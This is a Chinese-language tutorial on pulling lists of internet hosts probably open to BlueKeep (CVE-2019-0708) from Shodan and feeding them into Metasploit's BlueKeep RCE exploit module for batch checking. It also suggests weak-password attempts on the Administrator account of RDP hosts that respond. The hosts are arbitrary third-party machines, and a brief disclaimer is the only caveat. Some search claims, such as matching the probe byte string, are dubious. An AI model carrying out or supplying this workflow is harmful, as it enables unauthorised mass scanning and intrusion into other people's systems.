Shodan 进阶使用技巧:无高级会员如何搜索指定漏洞并进行批量验证

内容预览 ≧∀≦ゞ

Shodan进阶使用之批量查找并验证漏洞


声明

本笔记内容参考了B站UP主 泷羽sec 的学习视频,若涉及侵权将立即删除。本笔记旨在方便网络安全学习,任何不当使用均与作者无关,请勿逾越法律红线,后果自负。


导语

在没有 Shodan 高级会员权限的情况下,无法使用 -vuln 参数直接查找存在漏洞的主机,但通过灵活的搜索组合,我们依然可以实现对特定漏洞的设备定位。本次示例中将以 CVE-2019-0708(BlueKeep)漏洞为例,介绍如何利用 Shodan 的搜索功能筛选受影响的设备,并结合强大的 Metasploit 框架(msf)进行批量验证,帮助更高效地识别网络中的高危资产。

Shodan 提供了丰富的查询功能,通过关键词、端口、操作系统、特征指纹等条件的组合使用,即使在没有高级权限的情况下,也可以实现接近漏洞扫描的效果。结合 Metasploit 的批量验证功能,我们不仅可以快速找到受影响的设备,还可以进一步确认这些设备是否存在可利用的漏洞,为网络安全研究和防护提供切实支持。


一、漏洞信息收集

要搜索特定漏洞,首先需要详细了解该漏洞的特征信息,提取出相关的指纹,以便构建精确的查询条件。通过搜索引擎、GPT、漏洞数据库等,我们可以提炼出 CVE-2019-0708 的以下关键特征:

  1. 漏洞描述:此漏洞存在于 Windows 的远程桌面服务(Remote Desktop Services)中。
  2. 端口特征 :通常影响开启 3389 端口的设备。
  3. 操作系统特征:受影响的系统包括 Windows 7、Windows Server 2008 R2、Windows XP 等。
  4. 探测方法:可通过发送特定的 RDP 请求,检测是否有异常响应来指示潜在的漏洞。
  5. 特征字符串:"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"

二、构建 Shodan 搜索语句

结合漏洞特征和 Shodan 的搜索语法,接下来我们可以逐步构建查询条件,以实现有效的漏洞检测。

1. 指定端口

首先,限定端口为 3389,这是漏洞主要影响的端口:

bash 复制代码
port:3389

2. 指定操作系统

通过操作系统字段,我们可以筛选出 Windows 7 等受影响的系统:

bash 复制代码
os:"windows 7"

3. 指定漏洞条件

虽然无法直接使用 -vuln 参数,但我们可以结合 Shodan 提供的漏洞参数来进行条件组合:

bash 复制代码
has_vuln:true

4. 完整 Shodan 查询语句

综合以上条件,我们可以构造完整的 Shodan 查询命令:

bash 复制代码
shodan search --limit 10 --fields ip_str,port port:3389 os:"windows 7" has_vuln:true

此命令将返回包含指定漏洞的目标设备 IP 地址、端口等基本信息,并限制结果数量为 10 条。

除此之外,我们还可以将特征字符串作为搜索条件,以查找存在 CVE-2019-0708 漏洞的主机:

bash 复制代码
shodan search --limit 10 --fields ip_str,port "\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"

三、验证目标设备的漏洞状态

对于筛选出的结果,进一步使用 shodan host 命令逐个验证目标 IP 的详细信息,以确认漏洞状态。

示例验证命令

bash 复制代码
shodan host <目标IP>

执行后,Shodan 将返回该 IP 设备的详细信息,包括操作系统、开放端口、服务等,便于我们判断是否存在 CVE-2019-0708 漏洞。

针对该漏洞,我们也可以先尝试 Windows 远程桌面连接,验证设备是否存活。检查设备是否存活。如设备可正常连接,可尝试使用 Administrator 用户进行弱口令测试。


四、 使用 Shodan 批量下载与解析漏洞数据

下载搜索结果

可以将 Shodan 查询的结果保存到文件中,便于批量解析和进一步分析。例如,将查找到的可能存在 CVE-2019-0708 漏洞的设备保存至名为 0708 的文件:

bash 复制代码
shodan download 0708 --limit 10 "\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"

解析下载的数据

下载的文件为压缩格式,可以使用 shodan parse 命令解析出特定字段,并保存为文本文件。以下命令提取 IP 地址并保存到 0708.txt 中:

bash 复制代码
shodan parse --fields ip_str 0708.json.gz > 0708.txt

如需更多帮助,可使用 shodan parse -h 查看 parse 命令的详细帮助文档。

五、 使用 Metasploit 进行漏洞批量验证

Metasploit 是一款功能强大的安全工具,可批量检测目标设备是否存在指定漏洞。以下是使用 Metasploit 验证 CVE-2019-0708 的详细步骤。

1. 启动 Metasploit Console

在命令行中输入 msfconsole 进入 Metasploit 控制台,然后执行以下操作:

2. 搜索并使用漏洞模块

查找 CVE-2019-0708 漏洞的利用模块,并选择合适的模块:

bash 复制代码
search 0708
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

3. 设置选项

查看可配置参数并进行设置:

bash 复制代码
show options
  • 将目标 IP 文件添加到 RHOSTS 参数中,例如拖入包含 IP 地址的文件:
bash 复制代码
set RHOSTS file:<目标IP文件路径>
  • 使用 show targets 查看支持的操作系统,例如 Windows 7 和 Windows Server 2008 R2。设置 TARGET 为匹配的目标系统:
bash 复制代码
set TARGET <目标系统编号>

4. 检查漏洞

在开始利用之前,使用 check 命令来验证目标是否存在漏洞,避免不必要的攻击:

bash 复制代码
check

提示 :确保 payload 的 IP 地址和端口正确匹配,否则会导致漏洞利用失败。



总结

即便没有高级会员权限,通过发散思维和灵活的语法组合,我们仍然可以在 Shodan 上实现特定漏洞的设备筛查。此方法对于预算有限的小白用户尤其实用,为安全研究人员提供了更多的探索空间。

通过 Shodan 和 Metasploit,可以在无高级权限的情况下,通过漏洞指纹精准查找并批量验证漏洞目标。需要注意的是,Shodan 搜索到的设备并不一定全部可被利用,需谨慎操作并在合法合规的前提下进行安全测试。

相关推荐
安全小王子37 分钟前
Kali操作系统简单介绍
网络·web安全
光路科技1 小时前
八大网络安全策略:如何防范物联网(IoT)设备带来的安全风险
物联网·安全·web安全
saynaihe1 小时前
安全地使用 Docker 和 Systemctl 部署 Kafka 的综合指南
运维·安全·docker·容器·kafka
星河梦瑾1 小时前
SpringBoot相关漏洞学习资料
java·经验分享·spring boot·安全
黑客Ela2 小时前
对安全的认知
安全
Hacker_LaoYi2 小时前
【漏洞分析】DDOS攻防分析(四)——TCP篇
网络·tcp/ip·ddos
爱吃水果蝙蝠汤2 小时前
DATACOM-IP单播路由(BGP)-复习-实验
网络·网络协议·tcp/ip
成长的小牛2333 小时前
es使用knn向量检索中numCandidates和k应该如何配比更合适
大数据·elasticsearch·搜索引擎
Sun_12_23 小时前
SQL注入(SQL lnjection Base)21
网络·数据库
Lspecialnx_3 小时前
文件解析漏洞中间件(iis和Apache)
网络安全·中间件